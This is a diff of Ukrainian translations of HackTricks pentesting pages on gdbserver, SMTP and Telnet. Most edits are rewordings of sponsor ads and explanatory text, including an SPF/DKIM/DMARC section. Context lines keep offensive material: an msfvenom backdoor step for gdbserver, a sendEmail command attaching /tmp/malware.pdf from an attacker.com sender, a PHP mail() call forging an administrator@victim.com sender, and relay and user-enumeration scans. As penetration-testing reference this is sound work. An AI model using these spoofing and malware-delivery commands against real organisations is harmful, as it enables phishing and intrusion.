{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -167,7 +173,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -17,19 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пентестингу**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Основна інформація**
**gdbserver** - це інструмент, який дозволяє віддалене налагодження програм. Він працює поряд з програмою, яку потрібно налагоджувати, на тій же системі, відомій як "ціль". Ця установка дозволяє **GNU Debugger** підключатися з іншої машини, "хоста", де зберігаються вихідний код та бінарна копія налагоджуваної програми. З'єднання між **gdbserver** та налагоджувачем може бути встановлено через TCP або послідовний порт, що дозволяє створювати універсальні налаштування для налагодження.
**gdbserver** це інструмент, який дозволяє віддалене налагодження програм. Він працює поряд з програмою, яку потрібно налагоджувати, на тій же системі, відомій як "ціль". Ця конфігурація дозволяє **GNU Debugger** підключатися з іншої машини, "хоста", де зберігаються вихідний код і бінарна копія налагоджуваної програми. З'єднання між **gdbserver** і налагоджувачем може бути встановлено через TCP або послідовний порт, що дозволяє створювати універсальні налаштування налагодження.
Ви можете зробити так, щоб **gdbserver слухав на будь-якому порту**, і на даний момент **nmap не здатний розпізнати сервіс**.
## Exploitation
## Експлуатація
### Upload and Execute
### Завантаження та виконання
Ви можете легко створити **elf backdoor з msfvenom**, завантажити його та виконати:
```bash
@ -198,7 +200,9 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пентестингу**. Виконуйте повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -212,7 +216,7 @@ RemoteCmd()
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Основна інформація**
**Простий протокол передачі пошти (SMTP)** - це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на серверному поштовому ящику та періодично їх завантажувати.
**Протокол простого пересилання пошти (SMTP)** — це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на серверному поштовому ящику та періодично їх завантажувати.
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як **POP3 або IMAP для їх отримання**. На системах на базі Unix, **sendmail** виділяється як SMTP-сервер, що найчастіше використовується для електронної пошти. Комерційний пакет, відомий як Sendmail, включає POP3-сервер. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3.
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як для їх отримання використовують **POP3 або IMAP**. На системах, що базуються на Unix, **sendmail** виділяється як SMTP-сервер, що найчастіше використовується для електронної пошти. Комерційний пакет, відомий як Sendmail, включає сервер POP3. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3.
**Порт за замовчуванням:** 25,465(ssl),587(ssl)
```
@ -102,7 +104,7 @@ MAIL FROM: me
```
### Sniffing
Перевірте, чи можете ви перехопити пароль з пакетів на порт 25
Перевірте, чи ви перехопили якийсь пароль з пакетів на порт 25
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN Reports
## Звіти DSN
**Звіти про статус доставки**: Якщо ви надішлете **електронний лист** до організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформація про антивірусне програмне забезпечення).
**Звіти про статус доставки**: Якщо ви надішлете **електронний лист** до організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад до вас**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформація про антивірусне програмне забезпечення).
## [Commands](smtp-commands.md)
## [Команди](smtp-commands.md)
### Відправка електронного листа з консолі linux
### Надсилання електронного листа з консолі linux
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
@ -254,13 +258,13 @@ print("[***]successfully sent email to %s:" % (msg['To']))
Організації запобігають несанкціонованій відправці електронних листів від їх імені, використовуючи **SPF**, **DKIM** та **DMARC** через простоту підробки SMTP повідомлень.
**Повний посібник з цих заходів** доступний за адресою [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
**Повний посібник з цих заходів** доступний за посиланням [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
{% hint style="danger" %}
SPF [був "застарілим" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\
Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на кшталт `"v=spf1 include:_spf.google.com ~all"`
SPF [був "декларований" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\
Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на зразок `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
**Sender Policy Framework** (SPF) — це механізм, який дозволяє агентам передачі пошти (MTA) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у SPF записі.
@ -278,18 +282,18 @@ SPF [був "застарілим" у 2014 році](https://aws.amazon.com/prem
| MX | Якщо доменне ім'я має MX запис, що розв'язується до адреси відправника, воно збігається (тобто пошта надходить з одного з вхідних поштових серверів домену). |
| PTR | Якщо доменне ім'я (PTR запис) для адреси клієнта знаходиться в заданому домені і це доменне ім'я розв'язується до адреси клієнта (попередньо підтверджений зворотний DNS), збігається. Цей механізм не рекомендується і слід уникати, якщо це можливо. |
| EXISTS | Якщо задане доменне ім'я розв'язується до будь-якої адреси, збігається (незалежно від адреси, до якої воно розв'язується). Це рідко використовується. Разом з макромовою SPF пропонує більш складні збіги, такі як DNSBL-запити. |
| INCLUDE | Посилається на політику іншого домену. Якщо політика цього домену проходить, цей механізм проходить. Однак, якщо включена політика не проходить, обробка продовжується. Щоб повністю делегувати політику іншого домену, необхідно використовувати розширення перенаправлення. |
| INCLUDE | Посилається на політику іншого домену. Якщо політика цього домену проходить, цей механізм проходить. Однак, якщо включена політика не проходить, обробка продовжується. Щоб повністю делегувати політику іншого домену, слід використовувати розширення перенаправлення. |
| REDIRECT | <p>Перенаправлення — це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж інфраструктуру електронної пошти.</p><p>Політика SPF домену, вказаному в механізмі перенаправлення, буде використана.</p> |
Також можливо визначити **Кваліфікатори**, які вказують **що слід робити, якщо механізм збігається**. За замовчуванням використовується **кваліфікатор "+"** (тому, якщо будь-який механізм збігається, це означає, що це дозволено).\
Зазвичай ви помітите **в кінці кожної політики SPF** щось на кшталт: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**
Зазвичай ви помітите **в кінці кожної політики SPF** щось на зразок: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**
#### Кваліфікатори
Кожен механізм у політиці може бути попереджений одним з чотирьох кваліфікаторів для визначення бажаного результату:
Кожен механізм у політиці може бути префіксований одним з чотирьох кваліфікаторів для визначення бажаного результату:
* **`+`**: Відповідає результату PASS. За замовчуванням механізми припускають цей кваліфікатор, що робить `+mx` еквівалентним `mx`.
* **`?`**: Представляє результат NEUTRAL, обробляється аналогічно NONE (без конкретної політики).
* **`?`**: Представляє результат NEUTRAL, обробляється подібно до NONE (без конкретної політики).
* **`~`**: Означає SOFTFAIL, служить середнім варіантом між NEUTRAL і FAIL. Електронні листи, які відповідають цьому результату, зазвичай приймаються, але позначаються відповідно.
* **`-`**: Вказує на FAIL, що означає, що електронний лист слід відхилити.
@ -312,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Традиційно було можливо підробити будь-яке ім'я домену, яке не мало правильного/жодного SPF запису. **Сьогодні**, якщо **електронна пошта** надходить з **домену без дійсного SPF запису**, її, ймовірно, **автоматично відхилять/позначать як ненадійну**.
Традиційно було можливо підробити будь-яке ім'я домену, яке не мало правильного/жодного SPF запису. **Сьогодні**, якщо **електронна пошта** надходить з **домену без дійсного SPF запису**, її, ймовірно, **відхилять/позначать як ненадійну автоматично**.
Щоб перевірити SPF домену, ви можете використовувати онлайн-інструменти, такі як: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -320,7 +324,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
DKIM використовується для підписування вихідних електронних листів, що дозволяє їх валідацію зовнішніми агентами передачі пошти (MTA) через отримання публічного ключа домену з DNS. Цей публічний ключ знаходиться в TXT записі домену. Щоб отримати цей ключ, потрібно знати як селектор, так і ім'я домену.
Наприклад, щоб запитати ключ, необхідні ім'я домену та селектор. Їх можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
Наприклад, для запиту ключа необхідні ім'я домену та селектор. Ці дані можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
Команда для отримання цієї інформації може виглядати так:
```bash
@ -349,13 +353,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
#### DMARC теги
| Назва тегу | Призначення | Приклад |
| ----------- | --------------------------------------------- | ------------------------------- |
| ----------- | --------------------------------------------- | -------------------------------- |
| v | Версія протоколу | v=DMARC1 |
| pct | Відсоток повідомлень, що підлягають фільтрації | pct=20 |
| ruf | URI звіту для судово-медичних звітів | ruf=mailto:authfail@example.com |
| rua | URI звіту агрегованих звітів | rua=mailto:aggrep@example.com |
| p | Політика для організаційного домену | p=quarantine |
| sp | Політика для піддоменів ОД | sp=reject |
| sp | Політика для піддоменів ОД | sp=reject |
| adkim | Режим вирівнювання для DKIM | adkim=s |
| aspf | Режим вирівнювання для SPF | aspf=r |
@ -377,13 +381,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **Відкритий релей**
Коли надсилаються електронні листи, важливо забезпечити, щоб вони не були позначені як спам. Це часто досягається за допомогою **релейного сервера, якому довіряє отримувач**. Однак поширеною проблемою є те, що адміністратори можуть не повністю усвідомлювати, які **IP-діапазони безпечні для дозволу**. Ця відсутність розуміння може призвести до помилок у налаштуванні SMTP сервера, що часто виявляється в оцінках безпеки.
Коли надсилаються електронні листи, важливо забезпечити, щоб вони не були позначені як спам. Це часто досягається за допомогою **релейного сервера, якому довіряє отримувач**. Однак поширеною проблемою є те, що адміністратори можуть не повністю усвідомлювати, які **IP-діапазони безпечні для дозволу**. Ця відсутність розуміння може призвести до помилок у налаштуванні SMTP сервера, що є ризиком, який часто виявляється під час оцінки безпеки.
Обхідний шлях, який деякі адміністратори використовують, щоб уникнути проблем з доставкою електронної пошти, особливо щодо спілкування з потенційними або поточними клієнтами, полягає в тому, щоб **дозволити з'єднання з будь-якої IP-адреси**. Це робиться шляхом налаштування параметра `mynetworks` SMTP сервера для прийняття всіх IP-адрес, як показано нижче:
Обхідний шлях, який деякі адміністратори використовують, щоб уникнути проблем з доставкою електронної пошти, особливо щодо спілкування з потенційними або поточними клієнтами, полягає в **дозволі з'єднань з будь-якої IP-адреси**. Це робиться шляхом налаштування параметра `mynetworks` SMTP сервера для прийняття всіх IP-адрес, як показано нижче:
```bash
mynetworks = 0.0.0.0/0
```
Для перевірки, чи є поштовий сервер відкритим реле (що означає, що він може пересилати електронну пошту з будь-якого зовнішнього джерела), зазвичай використовується інструмент `nmap`. Він включає специфічний скрипт, призначений для тестування цього. Команда для проведення детального сканування сервера (наприклад, з IP 10.10.10.10) на порту 25 за допомогою `nmap` виглядає так:
Для перевірки, чи є поштовий сервер відкритим реле (що означає, що він може пересилати електронну пошту з будь-якого зовнішнього джерела), зазвичай використовується інструмент `nmap`. Він включає специфічний скрипт, призначений для тестування цього. Команда для проведення детального сканування на сервері (наприклад, з IP 10.10.10.10) на порту 25 за допомогою `nmap` виглядає так:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -434,7 +438,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Це надішле підписане повідомлення
</strong><strong>mail("your_email@gmail.com", "Тестова тема!", "привіт! Це тест", "Від: administrator@victim.com");
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
</strong></code></pre>
{% endtab %}
@ -509,7 +513,7 @@ s.sendmail(sender, [destination], msg_data)
* Підозрілі (незвичайні) вкладення
* Пошкоджений вміст електронної пошти
* Значення, що використовуються, які відрізняються від заголовків листа
* Наявність дійсного та надійного SSL-сертифіката
* Наявність дійсного та надійного SSL сертифіката
* Подання сторінки на сайти фільтрації веб-контенту
## Екстракція через SMTP
@ -520,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, нова пошта отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо нова пошта отримана користувачем mark.
Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, нова пошта отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо нова пошта отримується користувачем mark.
Інші конфігураційні файли:
```
@ -585,21 +589,23 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пенетрувального тестування**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестувальників - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -17,7 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Виконуйте повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -64,7 +66,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Виконуйте повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пентестингу**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Основна інформація**
Telnet - це мережевий протокол, який надає користувачам незахищений спосіб доступу до комп'ютера через мережу.
Telnet це мережевий протокол, який надає користувачам незахищений спосіб доступу до комп'ютера через мережу.
**Порт за замовчуванням:** 23
```
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -101,7 +105,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,9 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
